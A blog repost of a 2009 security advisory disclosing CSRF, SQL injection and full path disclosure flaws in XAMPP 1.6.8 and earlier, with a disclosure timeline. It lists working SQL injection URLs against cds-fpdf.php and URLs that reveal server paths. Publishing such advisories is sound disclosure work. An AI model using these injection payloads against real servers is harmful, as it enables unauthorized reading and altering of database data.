Multiple vulnerabilities in XAMPP

最新推荐文章于 2024-09-14 20:01:02 发布

cnbird2008

最新推荐文章于 2024-09-14 20:01:02 发布

阅读量788

点赞数

文章标签： authorization csrf path delete sql access

本文链接：https://blog.csdn.net/cnbird2008/article/details/5271809

版权

http://www.securityfocus.com/bid/37999/exploit

Hello Bugtraq!

I am continue informing you about multiple vulnerabilities in XAMPP.

-----------------------------
Advisory #7
-----------------------------
CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
-----------------------------
URL: http://websecurity.com.ua/3285/
-----------------------------
Timeline:

27.06.2009 - found the vulnerabilities.
01.07.2009 - announced at my site.
02.07.2009 - informed developers.
08.08.2009 - disclosed at my site.
-----------------------------
Details:

These are Cross-Site Request Forgery, SQL Injection and Full path disclosure
vulnerabilities.

CSRF:

http://site/xampp/cds-fpdf.php

It's possible to delete or add data in test table (as via CSRF, and as via
Insufficient Authorization vulnerabilities). And also to conduct SQL
Injection via CSRF attacks.

SQL Injection:

http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register globals
on)

http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,
1

http://site/xampp/cds-fpdf.php?interpret=1&titel=',1,1),(version(),1,1)/
*
(mq off)

http://site/xampp/cds-fpdf.php?titel=1&interpret=',1),(version(),1,1)/* (mq
off)

Attack is possible during access to admin panel (via Insufficient
Authorization), or via CSRF.

Full path disclosure:

http://site/xampp/external/ps/draw.php
http://site/xampp/external/ps/hyperlinks.php
http://site/xampp/external/ps/image.php
http://site/xampp/external/ps/overprint.php
http://site/xampp/external/ps/ps.php?submit=OK
http://site/xampp/external/ps/shading.php
http://site/xampp/external/ps/spotcolor.php
http://site/xampp/external/ps/text.php
http://site/xampp/special/ps/draw.php
http://site/xampp/special/ps/hyperlinks.php
http://site/xampp/special/ps/image.php
http://site/xampp/special/ps/overprint.php
http://site/xampp/special/ps/ps.php?submit=OK
http://site/xampp/special/ps/shading.php
http://site/xampp/special/ps/spotcolor.php
http://site/xampp/special/ps/text.php

Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
versions (including last version XAMPP 1.7.1).

-----------------------------

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua